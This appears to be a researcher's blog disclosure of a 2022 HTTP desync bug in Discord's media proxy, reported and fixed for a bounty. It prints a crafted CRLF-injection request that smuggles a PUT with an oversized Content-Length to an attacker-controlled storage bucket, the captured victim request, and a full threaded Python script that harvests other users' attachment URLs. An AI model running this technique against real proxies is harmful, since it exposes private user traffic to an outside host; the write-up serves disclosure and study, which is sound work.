HTTP desync in Discord's media proxy: Spying on a whole platform (2022)

4 min read Original article ↗

In 2022, I came across a quirky behavior on media.discordapp.net when I miskeyed a space character into an attachment link: a 502 bad gateway.

image

After some fiddling I realized that this was caused by a HTTP injection bug within the media proxy’s request to the upstream GCP bucket. The space character corrupted the proxied HTTP message, which caused the connection to prematurely terminate.

For example, a crafted user request to the media proxy would look like this:

GET /attachments/a%20b HTTP/1.1
Host: media.discordapp.net

And it would trigger an upstream request from the backend like so, which is invalid HTTP:

GET /attachments/a b HTTP/1.1
Host: discord.storage.googleapis.com

The server also happily passed on control characters like line feeds, which made it possible to inject headers and to queue additional requests into the pipeline.

I used this to load in a few images from my bucket by overriding the Host header, which was amusing for about five seconds.

Later, I remembered it is common for reverse proxies to pool and reuse connections to the upstream server even between different users, since you’d always wanna spare the extra round-trip that comes with handshakes. The media proxy was probably no exception.

This gave me a wild idea: could I poison the connection by queuing a PUT request to my bucket with an oversized Content-Length - would the next person to be assigned the connection have their request “sucked” into the payload of mine?

As it turned out, yes. This is pretty much the premise of a HTTP desync attack.

I sent the following request to the media proxy:

GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1
Host: media.discordapp.net

Which caused the backend to send out these two requests to GCP:

GET /attachments/ HTTP/1.1
Host:x
PUT /request.txt HTTP/1.1
Host:myevilbucket.storage.googleapis.com
Content-Length:250

 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0
Host: discord.storage.googleapis.com

The PUT request expected 250 bytes of data but only ~150 bytes were given, meaning that the deficit would be eaten from whatever gets written to the stream next, i.e., the next borrower’s request.

And sure enough when I checked a moment later, my request.txt had an attachment link in it I’ve never seen before:

 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0
Host: discord.storage.googleapis.com

GET /attachments/10032788*********/101624143721*******/image.jpg HTTP/1.1

This meant that I could snoop in on media.discordapp.net’s global traffic and see all attachments that were being viewed in real-time, regardless of whether they were sent in public servers or private DMs. Scary stuff.

And the process wasn’t hard to scale either, just needed threading and more files to fill with incoming requests:

from googleutils import generate_signed_url
from urllib.parse import urlsplit
from threading import Thread
import requests

CONCURRENCY = 10
CONTENT_LENGTH = 250
BUCKET_NAME = 'myevilbucket'

cache = set()

def exfiltrator(read_url, write_url):
    rs = requests.Session()

    exploit_url = (
        'https://media.discordapp.net/attachments/%20HTTP/1.1%0aHost:storage.cloud.google.com%0a%0a'
        f'PUT%20%2F{urlsplit(write_url).path}%3F{write_url[write_url.find('?')+1:].replace('%','%25')}%20HTTP/1.1%0a'
        f'Host:{urlsplit(write_url).hostname}%0a'
        f'Content-Length:{CONTENT_LENGTH}%0a%0a'
    )
    
    while True:
        rs.get(exploit_url)
        request = rs.get(read_url).text
        url = 'https://media.discordapp.net' + request.split('GET ')[1].split(' ')[0]
        if url not in cache:
            cache.add(url)
            print(url)

for num in range(CONCURRENCY):
    path = f'request{num}.txt'
    read_url = generate_signed_url(
        'credentials.json', BUCKET_NAME, path)
    write_url = generate_signed_url(
        'credentials.json', BUCKET_NAME, path,
        http_method='PUT')
    Thread(target=exfiltrator, args=(read_url, write_url)).start()

You’re looking at attachments as they’re being accessed in real time around the world. Isn’t that insane??

Definitely one of the coolest and most impactful bugs I’ve found, though I still don’t understand what caused it to this day, since no halfway-decent request library would let you inject control characters into your messages. Perhaps they were working with raw sockets?

Also, in theory it might have been possible to send back spoofed responses to users’ requests, but I never confirmed this.

Timeline

  • 2022-10-02: Report submitted
  • 2022-10-03: Report triaged
  • 2022-10-12: Report marked as resolved and bounty awarded ($3500)